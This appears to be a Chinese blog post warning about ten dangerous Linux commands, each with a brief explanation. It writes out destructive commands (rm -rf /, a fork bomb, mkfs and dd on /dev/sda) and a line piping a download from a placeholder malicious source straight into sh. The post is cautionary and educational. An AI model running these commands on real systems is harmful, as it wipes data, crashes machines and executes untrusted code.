Linux 10 个危险命令

Linux 命令行很有用、很高效,但也很危险——尤其是在你不确定自己在做什么的时候。本文列出一些危险命令,最好不要尝试。以下命令通常是在 root 权限下才具备毁灭性;普通用户身份下,破坏的只是自己的文件。

rm -rf

rm -rf 是删除文件夹及其内容最快的方式之一,一丁点敲错或无知都可能导致不可恢复的系统崩坏。相关选项:

rm      删除文件
rm -r   递归删除文件夹(包括空文件夹)
rm -f   不经询问直接删除(只读文件也删)
rm -rf /  强制删除根目录下所有内容
rm -rf *  强制删除当前目录所有文件
rm -rf .  强制删除当前文件夹及其子文件夹

预防:在 .bashrc 中给 rm 加 rm -i 别名,删除时要求确认。

:(){ :|:& };:

这是一个 fork 炸弹:定义一个名为 : 的函数,它会调用自己两次(一次前台、一次后台),反复执行直到系统崩溃。

命令 > /dev/sda

把某个命令的输出写到块设备 /dev/sda,会用命令写入的数据替换块设备中的所有数据块,导致整个设备数据丢失。

mv 文件夹 /dev/null

把某个文件夹移动到 /dev/null/dev/null 是特殊文件,写入它的数据都会被清除并返回成功。但这个命令并不能阻止数据恢复软件,彻底的销毁需要专用工具或手法。

wget http://malicious_source -O- | sh

从恶意源下载脚本并执行(wget 下载、sh 执行)。要时刻注意下载脚本/包的来源,只使用可信源。

mkfs.ext3 /dev/sda

格式化块设备 sda,直接让系统达到不可恢复的状态。通常不会直接用 /dev/sda(除非作为 raw 设备),而是分成 sda1、sda2 等分区。但无论 sda 还是 sda1,mkfs 都是毁灭性的。

> file

> 用于清空文件内容或记录命令输出。执行前务必确认输出文件是空的或不存在,否则原文件无法恢复。可能你真正想要的是 >>(追加而非覆盖)。输入错误(如 > xt.conf)会覆盖配置文件。

^foo^bar

用于编辑上一条命令而无需重打整条。如果不仔细检查改动原始命令的风险,可能导致麻烦。

dd if=/dev/random of=/dev/sda

向块设备 sda 写入随机数据擦除内容,使系统陷入混乱和不可恢复状态。这是”彻底删除”的方法之一,保险起见可覆写多次。


   转载规则


《Linux 10 个危险命令》 吴杭沉 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
Linux 常用网络工具 Linux 常用网络工具
在 Linux 上监控网络,命令行工具非常实用。常见的工具包括 nethogs、ntopng、nload、iftop、iptraf、bmon、slurm、tcptrack、cbm、netwatch、collectl、trafshow、eth
2019-12-12
下一篇 
C++ 工程实践:值语义 C++ 工程实践:值语义
什么是值语义值语义指的是对象的拷贝与原对象无关,就像拷贝 int 一样。C++ 的内置类型 bool、int、double、char 都是值语义,标准库里的 complex<>、pair<>、vector<&g
2019-11-14
  目录